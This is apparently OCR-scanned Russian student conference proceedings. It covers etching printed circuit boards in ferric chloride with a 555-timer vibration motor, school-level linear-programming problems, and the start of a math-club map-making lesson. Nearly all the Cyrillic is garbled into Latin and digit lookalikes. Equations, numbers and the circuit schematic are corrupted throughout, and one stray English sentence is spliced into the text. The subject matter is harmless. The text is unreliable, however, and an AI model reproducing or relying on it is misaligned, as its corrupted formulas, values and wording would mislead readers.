U Tpyno3arparamu. Beck nmporecc MOXKHO pa3esiuTh Ha ClleAyIoIIre 7 OCHOBHBIX ITAIoB.

1) Pa3paboTka pucyHka medaTHOH 1uiaTel. Pa3paboTka OCYIIECTBIISIETCS MPU TTOMOIIH
rpapuueckux penaktopoB. Ha paHHOM 3rame HamMHOro ynoOHee HCHOJIb30BATh
cnenuanuzupoBanHoe I10, koTopoe TO3BOJISET BCTPOCHHBIMH (DYHKUIUSMH IPOBEPUTH
IPAaBUIBHOCTb PA3BOJKH, HAINYHME JEKTPUUYECKOIO KOHTAKTa MEXKIY Y4YaCTKaMH Ie€4aTHOU
J1aThl.

2) IloaroToBka ocHOBaHMA Ui HepeHoca u3o0paxeHus. OCHOBaHMEM sl MEepeHoca
CIIY’)KUT METaJUIU3UPOBAaHHAs CTOpPOHA (DOJBIUPOBAHHOTO CTEKIOTEKCTONNUTA. YTOOBI
o0ecreynTh KaueCTBEHHBIM MEepeHOC TMOJTrOTOBIEHHOTO pHUCYHKAa I€YaTHOW IIaThl —
OCHOBaHUE JOJHKHO OBITH JTOJKHBIM 00pa30M MOArOTOBIEHO. MeaHOe MOKpbITHE NN yeTCs
IpU MOMOIIM HaXKAayHOM Oymaru 3epHuctoctbto He MeHee P1000 (mpu umcmonb30BaHUM
MEHbIIEeH 3epHUCTOCTH HA0JII0/1a10Ch OTClIanBaHue pucyHka). [Tocne mmmupoBky NOBEPXHOCTh
oOpabatbiBaeTcsi 00€3)KUPUBAIOILUMHU CPEICTBAMH.

3) llepeHoc wu300paxeHHs] Ha MOATOTOBIEHHYIO MOBEPXHOCTh (OJIBIMPOBAHHOTO
crekyorekcronuTa. [l mepeHoca M300paKeHUs CYLIECTBYET HECKOJBbKO CIIOCOOOB:
¢oromutorpadus  (rwtata obpabatbiBaeTcst  (OTOpPE3MCTOM W MPH  3aCBEYMBAHUU
HE3aIUIIEHHBIX yYacTKOB YJIbTPa(UOJETOBBIMU JIydaMu (GopMUpyeTcss M300pakeHue s
JambHEMIIEro  BBITPABIMBAHUSA) M TEPMOINEPEHOC IOATOTOBIEHHOTO  M300paKeHHUS.
Pe3ynbrarhl mepeHoca Mo KayecTBY COMOCTaBUMBI U MO3BOJIAIOT MOJIYYUTh MHUHHMAJIbHYIO
mmpuHy npoBogHUKOB 0,3-0,4 MM U pacctosiHue Mexay Humu a0 0,3 mm. Btopoit coco0
SKOHOMMYECKHU OoJiee 1esnecoo0paseH, T.K. He TpedyeT crerualn3upoBaHHOIO 000y 10BaHUS
u MarepuanoB. [lnsg oOecrieueHHs KaueCTBEHHOTO NEPEBOJIa HCIMOJb3YeTCs TIISHIIEBas
dborobymara ¢ pacnedaTaHHBIM Ha JIa3epHOM TpUHTEpe u300pakeHueMm. Ilocme
OCYILECTBIICHHsSI TEpeHOca TOHEepa Ha IOATOTOBIEHHOE OCHOBaHME Oymara CHHUMAaeTcs.
PazmaunBaHue B TEMI0M BOJE CYIIECTBEHHO YIPOIIAET JAHHYIO ONEPALHIO.

4) TpaBieHue MeaAu C MPOOETBHBIX MECT. DTO MPOLECC XUMHUYECKOTO pa3pyLIeHUs
MeTaljla B pe3ynbTare NEHCTBUS KUAKUX MM Ta3000pa3HbIX TpaBUTENEH Ha Y4acTKU
MIOBEPXHOCTU 3aroTOBKH, HE 3alMILIEHHBbIE 3alIUTHOM Mackoil. TpaBneHue mnpencraBiseT
cO00M CIIOKHBII OKHCIUTEIbHO-BOCCTAHOBUTENIBHBIN MPOIECC, KOTOPBIM MPUMEHSIOT IS
(dbopMHpOBaHUS TPOBOAALICTO PUCYHKA IE€YATHOW IJIaThl MyTeM YIaleHHs MeIu C He
3alIUIIEHHBIX YYaCTKOB. DTO OJHA M3 OCHOBHBIX ONEpalMii U3rOTOBJIECHUS MEYaTHOM IUIATHI,
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TaK Kak Ha HEl MPOUCXOAUT (POpMHpPOBAHHE PUCYHKA IMEYATHBIX AJIEMEHTOB (IPOBOJHUKOB,
KOHTaKTHBIX IUIOMIAJIOK U IIp.), TOUHOCTh BBIMOJIHEHUSI KOTOPBIX BJIMSET HA DJICKTPUUYECKUE
XapaKTepUCTUKU TMeyaTHOW TuiaTel. Kpome Toro, Opak Ha 3Toil omepainuu (CTpaBIUBaHUE
MIPOBOJIHUKOB, YMEHBIICHUE MIMPUHBI 32 CYET MOATPABIMBAHUS MPOBOAHUKOB, ILIOMIAJN
MOTIEPEYHOT0 CEYCHUS U TIP.) SABIISACTCS HEOOPATUMBIM [2].

JlaHHBI1 9TaIl SBJISETCS CAMbIM JJIUTEIBHBIM (710 60 MUH, B 3aBUCUMOCTH OT aKTUBHOCTHU
Cpelbl TPABJICHHUS ), HO €r0 MOXKHO YCKOPUTh. PaccMOTpUM OCHOBHBIE CIIOCOOBI ONTUMHU3AIUH.

a) Ilmara 3akperuisieTcsi B BEPXHHUX CJIOSX PAacTBOpa AJis TpaBJEHUs. DTO YCKOpSET
MPOIIECC, TaK KaKk HanboJiee akTUBHAS YacTh CPE/IbI TPABJICHHUS pa3MeIeHa BBEPXY.

0) YBenuueHue TeMiepaTyphbl Cpeibl TpaBiieHus. HenocTaTok: c0KHOCTh OpraHu3auu
Mo/I0rpeBa.

B) [IepememnBanue pacTBopa B eMKOCTH Jis TpaBleHUs BpyuHyto. [Ipu ucnonap3oBaHun
croco0a CyIIECTBYET OMACHOCTh IMOMAJaHUsl PaCTBOpPA HA OKPYXKAIOIIUE MPEAMETHl U KOXKY
YeJI0BeKa.

r) [lepememmBanue pacTBOpa B €MKOCTH JIJISi TPABJICHUS MPHU MOMOIIHM aKBAPUYMHOTO
BO3yIIHOTO Kommpeccopa. JlaHHBIN crmoco0 MOJBEP)KEH TEeM K€ HeNoCcTaTKaM, 4YTO H
MPEABITY NN,

n) [Ipunanue BuOGpanuii mare mpu MOMOIIN YCTAaHOBIEHHOTO BHOPOMOTOpA.

PaccmorpuMm  mpocteiiniyro  cxemy  ympaBJieHUsT BHOPOMOTOPOM OT MOOWIIBHOTO
tenedona [3]. OHa BhIOTHEHa HA MUKpOcXxeMe-Taiimepe 555 cepuu M mpeqHa3HAyeHA s
OTpaHUYEHUS MPOAOHKUTEIIBHOCTU BKIItOUeHHsI MOTOpa 110 10% BpeMeHu. cxema ycTponcTBa
MIpUBE/JIEHA Ha pHUC. 2.

@ Yeo
w1l |10k
4 a
T
4
gol [
100k 1 6 555 3
pe 7 D3
3 1
100uF 0.1 uFl
1 I oe I

Pucynok 2 — Cxema yrpaBiieHHsl BAOPOMOTOPM

Cpenoii 11 TpaBieHHsI B X0J1€ TIPOBEICHUS ONBITOB BHIOPAH pacTBOP XJIOPHOTO Kele3a
(FeClz). HMocroumHcTBa — BBICOKAs CKOPOCTh TpaBJICHHWS, Majas BeJIHYHHA OOKOBOTO
NOJATPABJIMBAHUS, BBICOKAs YETKOCTh KOHTypa pPHCYHKA, AaKTHUBHOCTb IIPM BBICOKOM
COJIEp’)KaHUM B HEM pPACTBOPEHHOW MeEIH, Majloe COJAEpKaHHE TOKCHUYHBIX BEIIECTB I10
CpPaBHEHHMIO C JPYTUMH TpPaBUTENSIMU, HU3Kasg CTOMMOCTb, pa3pabOTaHO MHOTO METOOB
pereHepanuy 1 yTHIn3alui oTpadoTaHHbIX pacTBOpoB. HemocTaTku — CloKHOCTD yIaleHUsI C
MOBEPXHOCTU TOHKOI'O IUNIOTHOTO CJIOS THApAaTa OKCU/IA XKeJe3a, CHUKAOIEr0 COIIPOTUBIIEHUE
M30JISLNN U 3aTPSI3HSIOLIET0 PACTBOP. bbUIO MPOBEAEHO 4 OMbITA: C OIMYLIEHHOM IIJIaTOW Ha JTHO
€MKOCTH Ul TPaBJEHUS, C IJATOW pa3MEIIEHHOW Ha MOBEPXHOCTU pacTBOpa IPH MOMOIIU
MEHOIJIACTOBOI'0 MOIJIaBKa, MJaTOM Ha MOBEPXHOCTH U MOJOTPETHIM PACTBOPOM, IUIATOM Ha
MOBEPXHOCTH M YCTAaHOBJICHHBIM BUOPOMOTOPOM.

Pesynomameoi:
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| ombIT: moOJIHOE YAAJICHUE MEIU C HE3AIMUICHHBIX YYaCTKOB — 37 MHUH., B HCKOTOPbIX
MCCTax 3aMCTHBI CJICAbI IMIOATPAaBJIMBAHUA IIPOBOJHUKOB ITOA CJIOEM 3allIUTHOT'O IMOKPBITUA.

Il oneIT: mOHOE YAAJICHUE MEIU C HE3aIUIIICHHBIX Y4aCTKOB — 26 MHH., B HCKOTOPbIX
MCCTax 3aMCTHBI CJICAbI MOATPABJIMBAHUA IIPOBOJHUKOB MTOA CJIOCM 3alIUTHOI'O ITOKPBITHA.

Il ompIT: TONHOE YyJaleHWE MEIU C HE3alUIIeHHBIX Y4YacTKoB — 11 MuH.,
MOATPABIIMBAHUS TTPOBOTHUKOB I0J] CJIOEM 3aIUTHOTO MOKPHITUSI HE OOHAPYKEHBI.
IV ombIT: monHOE ymaleHue MeAW ¢ HE3alUIIEHHBIX Yy4YacTKoB — 16 MuH.,

MOATPABJIMBAHMSI IPOBOTHIUKOB TTOJ] CJIOEM 3aIIUTHOTO IMOKPBITUS HE OOHAPYKEHBI.

5) Y nanenue 3amuTHOTO MOKpHITHSL. [lepe maiikoit HEOOXOAMMO YIaIUTh BCE 3alIUTHBIC
MOKPBITHUS, KOTOPbIE UCTIIOIb30BAIKCH AJII OTPAaHUYCHHSI MECT TpaBlieHUs. B 3aBuUCHUMOCTH OT
TUTA HAHECCHUS MOJKET BBINMOJHATHCS IMPH TMOMOIIU CIA0BIX PACTBOPOB MIENOYeH (st
(dhoTope3ucTa) UM areToHa (11 TEPMOIIEPEHECEHHOTO TOHEPA).

6) CsepiioBka oTBepcTuid. Tak Kak mporecc MpoOM3BOAUTCS MOCIE TPABICHUS MEIU — HET
HEO0OXOIMMOCTH B pa3MeTKe OTBEPCTHH Ha Me4yaTHOW miuate. YTOoObI yIydIIUTh KaueCTBO
PEKOMEHIYeTCSI IPUMEHSATh CBEPJIMIIBHBIC CTAHKH WM HAMPABJISIONINC JJIST BEPTHUKAIBHON
YCTaHOBKM CBepiia. OJTO OCOOEHHO BaXXHO TP KOHCTPYUPOBAHUU YCTPOWCTB C
WCIOJIb30BAHUEM MHUKPOCXEM, Pa3beMOB M JAPYTHUX CJIOXKHBIX KOMIIOHCHTOB, TPEOYIOIINX
TOYHOTO MO3UIIMOHUPOBAHUS Ha TLJIATE.

7) Jlyxenue muiatel. Jly)xeHue CBHHIOBO COAEpXKAlllUM IPUIIOEM IPOU3BOJIUTCS AJIs
3alUTHl CJIOS MEOU OT OKHUCIEHHUS BO BpeMs HSKcrulyatanuud. ONTUMalbHBIE PE3yJbTaThl
JOCTUTAIOTCS MPH MCIIOb30BAHIH HEAKTUBHBIX (DIIFOCOB, KOTOPHIC B JAJIbHEUIIIEM 0€3 yCHITUiH
OTMBIBAIOTCS C TOTOBOTO YCTPONCTBA.

Jnst obecriedeHrst 6€30MAaCHOCTH B MOMEIICHUH HEOOXOIMMO COOJI0JAaTh HEKOTOpHIC
pernmaMeHTHpOBaHHBIE HOPMBI OXpaHbl Tpyaa. CoriacHO UM, KOMHaTa AJisi paboThl omepaTopa
M DKCIIEPUMEHTATOpa JODKHA HAXOJUTHCS B OTICIHHOM TIOMEIICHHH, KOTOPOE 00sI3aTeIIbHO
JOTHKHO OBITH 000PYIOBAHO UCKYCCTBEHHBIM U €CTECTBEHHBIM OcBelleHueM. [l perymsiun
CWJIBI JTHEBHOTO CBETAa CJEAYeT MPUMEHSATh INTOPHI M JKpaHbl. Takke HE0O0X0IUMO
MUHUMHU3HUPOBATH HAJTHUME OTPAKEHHOTO CBETA.

UpesMepHBIii ITyM TaK)Ke MOXKET BIIMSTH Ha pa00TOCIIOCOOHOCTH YeJIOBEKa U TTOHIKATh
€ro M3-3a CHIKEHUS BHUMAHUS, MOBBIIICHUS YCTAJIOCTH U Pa3IpaKUTEIBHOCTH, BIUSHUS HA
¢du3nonoruueckue nokasarenu. Bee 3To cHkaeT paboTOCIOCOOHOCTh YeIOBEKa.

YpoBeHb 11yma Ha paboueM MecTe He ToJKeH npeBbimath S0 nb. JI1s KOHTpomst ypoBHS
IIyMa CTCHBI ¥ TIOTOJIOK B paboveM MOMEIIEHUH MOTYT OBITh OOMIUTHI IITYMOH30IUPYIOIIIM
MaTepUajIoM.

BoiBoabl. [lpuMeHeHue OMUCaHHBIX B CTaThe CIIOCOOOB ONTHMHU3ANMU TIpoIecca
TPaBJICHUS TO3BOJIIET COKPATUTh BPEMEHHBIE 3aTpaThl Ha W3TOTOBIEHHE MMEYATHBIX IUIAT.
[IpocToe moaBeNMMBaHUE W3TOTOBISEMON IUIATBI B BEPXHUX CIIOSX TPABUIBHOW Cpebl
yMeHbIaeT BpeMsi TpaBieHus Ha 30 %. OTIMYHBIA pe3ynbTaT AaeT MOJOrPeB, HO JAAHHBIN
Croco0 CIIOKEH B OKCIUTyaTalldd M €ro NMPUMEHEHHE MOXKET OBITh I1eJ1ecCO00pa3Ho TpH
MOCTOSIHHOM TPOHU3BOJICTBE MeYaTHBIX maaT. Crnocol ¢ mpugaHueM BUOpaIuil U3roTOBISIEMOM
J1aTe yaydmaeT cOpoc MEIH C 3ar0TOBKU. DTO CIIOCOOCTBYET O0Jiee paBHOMEPHOMY yIaJICHUIO
HE3aIlUIICHHBIX YYacTKOB MeAu u YyMeHbInaeT 3¢d@deKkT OOKOBOro MOATPABIMBAHHI
MTPOBOJHMKOB M KOHTAaKTHBIX IUIOIIAJOK, YTO CKa3bIBaeTCS Ha OOIEM KadecTBE TOTOBOTO
YCTPOMCTBA.
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the unprotected areas of copper. The optimization techniques for copper etching have been described. Both
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YK 378:517:519.677

MPUKJIATHBIE 3ATAYH JIMHEMHOTI' O IPOT PAMMMPOBAHUSA ITPA

N3YYEHUU «AJITEBPbBI»
Illenexosa E.E.
Hayunwui pyxosooumens Illenexosa O. I'., kano. mexu. nayk, ooyenm
roy BIIO «/IOHHY»

Annomayus. B paboTe pacKpBITH IyTH pearnu3alliy IPUKIaTHON HAPaBICHHOCTH Kypca «Anredpay» Ha IpuMepe
HCTIONIb30BaHMA IPUKJIAJHBIX 33124 JIMHEHHOTO TPOTrPaMMHUPOBAHUSL.

Kniouegvie cnosa: rpadudeckuii METOx pelIeHNs 3a7ad JTMHEHHOTo MPOrpaMMHpPOBAHUS, MIPUKIAIHBIC 33/1a4H,
COTJIaCOBAaHHOCTh O0YYEHHS MaTeMaTHKe B CpeTHEH M BBICILIEH MIKOJIE.

AKTyaJabHOCTh. ['padudeckuii MeToa pemieHus 3a7ad JUHEHHOTO MPOrpaMMHUPOBAHUS
OTKPBIBAET MHOTO0Opa3HbIE€ BO3MOXKHOCTH ITOMCKAa ONTUMAJIBHOTO PEIICHUS MPUKIATHBIX
3a/lad B Pa3IMYHBIX O00JIACTAX uYeJIoBeUecKo paesrenpHOCcTH. [1-8]. Hampumep, ero
WCIIOJIb30BAaHUE TIO3BOJISIET pEIIaTh BOMPOCH MUHUMU3AIUMU PACXOJAOB MPEANPUSITHS,
MOJIy4YEHUsI MaKCUMalbHOW NpUOBLTH 00siacTH 3KoHOMUKHU [1, 2], BbIOOpa ONTHMAIbHOTO
3Ha4YE€HME HAJESKHOCTHU [3] ompeaeneHus Auana3oHa JOMYCTUMBIX JIEKTPUUYECKUX BEIIUYUH U
BHIOOpPa  ONTUMAIBHOTO  peXHMa  paboThl  AJIEKTPOOOOpYydOBaHUS B 00JIacTH
ANEKTpO3HEpreTuk [4, 5] u T.1.

Pemenus 3amay nuHEHOTO MporpaMMupoBaHus TpadUYecKUM METOJO0M H3y4daeTcs B
BBICIIMX Yy4eOHBIX 3aBeAcHusX [1-3, 5, 8], omHakKo, OCHOBHBIC HEOOXOJMMEBIC IJIsi €ro
WCIOJIb30BaHUS MaTEeMaTHYeCKHE 3HAHMS IIKOJIbHHUKHU TMOJY4YaroT yXKe€ B CEJAbMOM KIlacce
(HampuMep, yMEHHE CTPOUTH NPSIMBIE, HAXOIUTh TPaPUIECKOe PEIICHUE CHCTEM yPaBHEHUH U
T.1.) [10], 94TO MO3BOJSAIOT aJANITUPOBATh €r0 U3YUEHUE AJI CPEAHEN IIKOJIBI.

MHoOro4YuciIeHHbIE TPUMEPHI TTOMCKA ONTUMAJIBHOTO PEIICHUs B TIOBCETHEBHON KU3HU,
Mpe/ICTaBJICHHbIE B Y4eOHO-METOAMYECKON JUTepaType, peKOMEHIOBAHHON Ui CTYACHTOB
BY30B, aKTyaJIbHbI ISl IIKOJBHUKOB W ATOT BoNpoc TpeOyeT uiydeHus. llupokmii xpyr
MPUKJIAHBIX 337a4, KOTOPBIE yYAIIUECs CPEIHEN IIKOJIbl CMOTYT PEIIUTh C UCTIOIb30BAHUEM
rpau4IecKoro MeToa PeeH s 3a/1a4 THHEHHOTO MPOTPaMMUPOBAHNS, IPUMEHHUB U3yYEHHBIE
paHee MaTeMaTUYeCKUE 3HAHUSA HA MPAKTUKE, CBUIETENBCTBYET 00 aKTyaJbHOCTU WM3YYECHHUS
MeTOo/ia B Kypce anreOpbl CpeiHel IIKOJbI.

enp maHHOW pabOTHI — PACKPHITh MYyTH pealu3allyd MPUKIATHONW HAMpaBICHHOCTH
Kypca «Anrebpa» Ha TpUMEPE HCIOIB30BAHHUS TPHUKIAAHBIX  3a7a4  JIMHEWMHOTO
MIPOrpaMMHUpPOBaHUs, KaK JUIAKTHYECKOE YCIOBUE MOBBIIICHUS KAUeCTBA 3HAHUI.

PaccmorpuM nmpumep 3amadu JIMHEHHOTO NPOrPaMMMPOBAHMS, aJallTUPOBAHHOM IS

usydenus B 7 kmacce: Heobxomumo HaiiTu HamGompmee 3uauenme ¢ynxmmn F(X,Y)
’
yIOBJIETBOpSIOLIEH cucTeMe HepaBeHCTB (1)::

F(Xx,y)=4-x+2-vy;

45-x+Yy<5.25;
6-x+10y>7;
x=>0;

y=0;

y<3.

Ha mockoctu mo6oe u3 HepaBeHCTB cucTeMbl (1) ompeaensier MONyIIOCKOCTb,
JIeXKAIY0 0 OAHY U3 CTOpoH OoT mnpsmoil [10]. Hanmpumep, nepBoe HEpaBEHCTBO CHUCTEMBI

(1)
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45-x+y<5.25 onpenenser MOJIYILUIOCKOCTb, JICKALLYI0 HUXKE IpsaMon y=5.25-4.5-x,
Bropoe HepapeHctBo 0 :X+10Y>7 — momymnockocTs Belmie cOOTBETCTBYIOMmIEH MPAMOI

7 3
Yy=——=XHUT. A

10 5
[Toctpoum rpaduueckoe pemeHne KakKaoro U3 HepaBeHcTB cucteMbl (1) Ha MIOCKOCTH
U HalijieM 00J1acTh, KOTOPasi OJJHOBPEMEHHO YAOBIIETBOPSET BCEM HEPABEHCTBAM CHCTEMHI (1)

(puc. 1).
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Puc. 1 I'paduueckoe penieHne 3a1a4n

W3 ananmsa pe3ynbTaToB, MPEACTABICHHBIX HA PUC. | CIIEAYET, YTO PEUICHHUS CHCTEMBI
HepaBeHCTB (1) orpaHuyeHsl miomaaso MHoroyroinbHuka ABCDE. Cpenn MHOXeCTBa TOYEK,
OTpaHUYEHHBIX MHOTOYronbHUKOM ABCDE Heo0X0quMO OTBICKAaTh TaKylo, B KOTOpOU
uckomas ¢yHkuus F npuHnmana 6s1 HanGombiee 3HaueHue. [loctpoenue obnacTu pereHui
cuctembl (1) (puc. 1) cBA3aHO C yMEHHMEM CTPOUTH MNpPSMBbIE MO JBYM TOYKaM U peulaTh
rpaduvecKy JMHEHHOEe HEPABEHCTBO C JABYMS MEPEMEHHBIMH, YTO COOTBETCTBYET IPOrpaMMe
anreOpsl 7 kacca 00111e00pa30BaTEILHOM MIKOJIBI.

Jns HaxoxaeHus HauOosbliero 3HaueHuss QyHkuun F obmactu ABCDE crpoum
ypaBHEHHE LeleBOM (YHKIMU NpPU pa3IMYHBIX 3HAYCHMSX LeneBo QyHkuuum F(X,y)

4.X+2-y=C. 3uauenus Qynxmmu F(X,y) HOpH TepeMelleHHH B HANpPAaBICHAH POCTA

neneBoil (yukiuu BospactaeT U B T. C ¢ koopauHartamu (0,5; 3).mpuHuMaeT HanOosbIee
3HauEHUeE.

CrnenoBarenbHO, HauboblIee 3HaYeHNUEe QYHKIIUN PaBHO:

F(x,y)=4-x+2-y=4-05+2-3=8.

BrimonHuM aHalin3 HEKOTOPBIX TUIIOBBIX 3ajlad JUHEHHOro mporpaMMmupoBanus [1-8] u
HaIllOJIHUM cucteMy ypaBHeHU# (1) mpakTtuueckum copaepkaHueM. B kadecTBe mnpumepa
NpPeJUIOKUM OIMH W3 BapHaHTOB NPUKIIAJHOW 3ajaud, pelieHHe KOTOPOM COOTBETCTBYIOT
MpUBEJAEHHOM BhIlIe cucteme (1).

IIpumep 1. IIpennpusTue BBITYCKAET MPOIYKLIHIO JIBYX BHJIOB, KaXKIbIM M3 KOTOPBIX
oOpabatbiBaeTcs Ha Tpex cTaHkax. [Ipu o6paboTke 1 TOHHBI MPOAYKIIUH MEPBOTO U BTOPOTO
BHJIOB NEPBBIA CTAHOK MCHOJB3YIOTCSI 4,5 4 n 1 4, BTOopoit — 6 4 u 10 4, Tpetnit — 0 u 1 yac
COOTBETCTBEHHO. BpeMsi paboThl CTAHKOB OrpaHMYEHO U HE MOXKET MpeBbIIaTh 5,25 yaca s
MEpBOro CTaHKa, HE MeHee 6 4yacoB JJIsi BTOPOTO M HE NIPEBBIINIAET 3 4Yaca ISl TPETHETO.
W3BecTHO, 4TO NpU pealn3aluyd 1 T OPOAYKIMH NEPBOTO M BTOPOTO BUAOB INPEANPUATHE
MoJTy4aeT MpuObLTh 4 ThIC. PyO. U 2 THIC. py0. COOTBETCTBEHHO.
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Haiitu onTuManbHBIH TIJJaH BBITYCKAa MPOAYKIHMH KaXJIOTO BUJA, JalOUTUN
MaKCUMaJIbHYIO IPHOBLTH OT peain3aliui BCeU MPOTYKIIUH.

Tab6muna 1 — YcinoBue TEKCTOBOM 3a1a4i B TAOJIMYHOM BUJIE

Buael npoaykummn Bpewmst paboThr

I 11
I cranok 45 1 HE TpeBbImaeT 5,25 yaca
II ctanok 6 10 HE MEHee 7 4acoB
IIT cTanok 0 1 HE TIpeBbIMaeT 3 yaca

Pemenne naHHOM 3a7auM W3JI0KEHO BblIEe (puUcC. 1) M ONTUMAIBHOE KOJIUYECTBO
MPOAYKIMH NepBOro u Broporo tuna 0,5 T 1 3 T COOTBETCTBEHHO, IPU 3TOM MaKCUMaJbHas
IpUOBLIb MPEIIPUATHS COCTABUT 8 ThHIC. PyOJIeil..

Lemnecoobpa3Ho Takke 0OpaTUTh BHUMaHUE MIKOJIHHUKOB, YTO MUHUMAJIbHAS IPUOBLITH
OT peaju3alMy MPOAYKIUH AJs npuMmepa 1 cooTBeTcTBYeT Touke A (puc. 1) ¢ KoopauHaTamMu
(0,5; 3) u cocraBmnser 1,4 Thicsu pyOIICii:

F(X,y)=4-x+2-y=4-0+2-07 =14.

IIpumep 2. COaslaHCUPOBaHHOE MUTAHUE IIKOJbHHUKA JIOJKHO COJIEP’KaTh HEKOTOPOE
KOJINYECTBO ITUTATENBHBIX BEIIECTB (OEIKOB, )KUPOB, BATAMHUHOB, MUKPOAJIEMEHTOB U T.11.). X
CoJiep’KaHue B MPOAYKTAX PA3IMYAETCs U HE JOJDKHO MPEBBINIATH MPEJEIIbHO TOMYCTUMBIX
3Ha4YeHMH (Tadm. 3).

Conepxanme 1, 2, 3 mukpossieMeHToB B ipoaykrax I u I 3amano tabmuneit (Tadi. 3).
HeoOxomuMo omnpeaenuTs, CKOJBKO TpaMM MEpBOTO M BTOPOTO MPOAYKTa HEOOXOIUMO
BKJIIOYMTh B MEHIO IIKOJBHHKAa Ha MECSI, €CIM MaKCHUMaJbHOE CYTOYHOE IOTpebieHue
MEPBOTO, BTOPOTO U TPETHETO MUKPOIIIEMEHTOB COOTBETCTBEHHO COCTaBIIACT — 5,25 Mr, 7 MT' U
3 wmr. Tpebyercss opraHu3oBaTh NUTaHHE TakuUM oOpazoMm (Tabna. 2), 4TOOBI OpraHu3M
IIKOJIbHUKA T0JIy4ajl He MeHee TpeOyemMoW CyTOYHOW J03bl HEOOXOIUMBIX MHUTATEIbHBIX
BEIIIECTB, 3 CTOUMOCTh MMUTAaHUs OblJIa HAUMEHbLIEH.

N3BecTHO, yTO IpH 3aKynke 1 T MPOIYKIMH MEPBOTO U BTOPOTO BHJIOB pacxoayercs 4
ThIC. py0. U 2 ThIC. py0. COOTBETCTBEHHO.

Halitn onTuManbHBIA IUIAH 3aKyNKA NOPOAYKUMU KaXJAOrO0 BHJIA, MO3BOJIIOLIUI
MUHUMHU3HPOBATh PAaCXO/bl HA 3aKyINKY MPOAYKIIUH.

Tabmuia 3 — YciioBue TEKCTOBOM 3aa4d B TAOJIUYHOM BUIE

M IIponykr MaxkcuManbHO€e 3HaYeHHE MOTPEOIIIEMbIX
HUKPODJIEMEHT ;
I 11 MHKPODJIEMEHTOB B CYTKH
1 4,5 1 HE IpeBbImaer 5,25 mr
2 6 10 HE MEHee 7 Mr
3 0 1 HE MPEBBIIIACT 3 MT

Pemienue naHHOM 3a/auM TakKe MOJTHOCTBIO COOTBETCTBYET cucTeMe HepaBeHCTB (1)
M3JI0’KEHO BBILIE U COOTBETCTBYET Touke A (puc. 1).

B ornanume ot mpumepa 1, B 1aHHOHN 3ajade HEOOXOAWMO HANTH MHHHMYM IIeNI€BOM
(GyYHKIMIO, KOTOPBIH, Kak ObLIO MOKa3aHoO BbIIIE, cocTaBisieT 1,4 Teic. PyOneit mpu konuuecTse
IIPOAYKIIMH NIEPBOTO U BTOPOTo BuAa cooTBeTcTBEHHO 0 1 0, 7 TOHH.

BoiBoabl. B pabote packphIThl yTH peaan3aluy NPUKIAIHON HApaBICHHOCTH Kypca
«Anrebpa» Ha IpuUMepe UCIOIB30BaHMS MPUKIIAIHBIX 33]a4 JMHEHHOTO MPOTrpaMMUPOBAHUS
3HAKOMCTBO IIKOJBHUKOB € TrpaduyecKuM METOAOM pelleHUs 3a7ady JIMHEWHOTO
IPOrpaMMHUPOBAHUS €Ile B IIKOJIE, a 3aTeM ero Oojiee yriayOJlieHHOE M3y4YeHHE B BBICHIMX
yueOHBIX 3aBEJICHUSAX IT03BOJIUT:
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1. ObecrieunTh coOriacoBaHWE M MPEEMCTBEHHOCTh OOyYeHHs B CpEAHEW M BbICIIEH
LIKOJIE.

2. IlponemMoHCTpUpOBaTh IIKOJIbHUKAM Ba)XKHOCTb OOY4YEeHHS MaTeMaTHKE H
BO3MOYHOCTb PEILICHHS CEPbE3HBIX 3a/1a4 NOUCKA ONITUMAJILHOT'O PEMIEHUS, HCTI0JIb3YS 3HAHHS,
MoJIyuYeHHBIE B 7 Ki1acce 0011e00pa3oBaTeIbHON HIKOJIBL.

3. TloBBICUTH MOTHBALIMIO CTYJEHTOB M INKOJHBHHUKOB K HM3YyUYEHHUIO MATEMaTHYECKUX
JUCLHUILINH.

4. HayunTh HIKOJIBHUKOB HUCIIOIB30BAThH MMOJTYyYEHHBIC paHee 3HAaHUS Ha IIPAKTHUKE.

5. 3a0KUTh TPOYHBIH PYHIAMEHT MaTeMaTUYCCKUX 3HAHUW I U3YYCHUS B BBICIICH
IIKOJI€ IUCLUMIUINH, CBA3aHHBIX C MOJICJIMPOBAHUEM U CUCTEMAMU IIPUHATHUS PELLICHUI.
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YIPABJIEHUE TPOEKTHOM JEATEJbHOCTBIO IIKOJbHUKOB
11O CO3JAHUIO IIVTAHA MECTHOCTH
HA SAHATUAX MATEMATHUYECKOI'O KPYKKA

bepescnan B.A.
Hayunwii pykosooumens: Crxaga E.U., 0-p nedacoe. nayk, npogheccop, 3as. kagheopoii
TIoy BIIO «/IOHHY»

Annomayus. B craTbe npencraBieHa pa3padoTKa 3aHATHS MaTEMAaTHIECKOTO KPY)KKa 110 TeMe «[1imaH MecTHOCTH.
Cpena oOuTaHus 4eTI0BEKay, pacCUNTaHHasI Ha yJaniuxcs 5—6-x kimacco. B pa3paboTke yunTsIBaeTcs crienupuka
Kkpyxka: npumeneHne STEAM-texHonoruil. 3aHATHE MOCBSIIECHO POEKTHON 1eATEIFHOCTH 0 CO3/IaHUIO IIJIaHa
MecTHOCTU. PaboTa Haj MpoeKTOM IpeArnoaraeT cCoYeTaHne 3HaHUi B 00J1aCTH eCTeCTBEHHBIX Hayk (Ouosorus,
reorpadust), THXEHEPHOTO HCKycCTBa (TEXHHYECKOE YepUEHHE) M MAaTeMaTHKH Ui PEIISHUs ITOCTaBICHHBIX
3a1ay.

Kniouegvie crosa: obyueHne matemaruke, Marematiuueckuii kpyxok, STEAM-texHosorun, kaprorpaduyeckas
IPaMOTHOCTb.

Bemynnenue. @enepanbHblii Tocy1apcTBEHHBIH 00pa30BaTelbHbI CTAaHIAPT CPEIHEro
obmiero oobpa3zoBanus Hapsay ¢ ['ocynapcTBeHHBIM 00pa30BaTEIbHBIM CTAHIAPTOM CPEIHETrO
obmero obOpa3zoBanus Jloneukoit Hapoanoit PecnyOomukum oTpaxkaeT CcOBpeMEHHbIE
COLIMaJIbHBIE 3aIlpOChl, OINpPEAEISIONINE OCHOBHYIO IIeJib 00pa3oBaHUsl KakK JIMYHOCTHOE
pa3BUTHE yYalllUXCs, B TOM YHUCIIE, OOIIEUHTEIIEKTYaIbHOE, CIIOPTUBHO-030POBUTENIBHOE,
JyXOBHO-HPABCTBEHHOE, OOILEKYIbTYpPHOE, coluanbHOe. [l peanus3anuu MOCTaBICHHON
1ean o0pa3oBaHUs BaXEH HE CTOJIBKO KOHEUHBIM pe3ynbpTaT, CKOJIBKO caM Hpoliecc
MpUOOpPETEHNUs 3HaHUH, KOTOPBIN BKIIIOYAET:

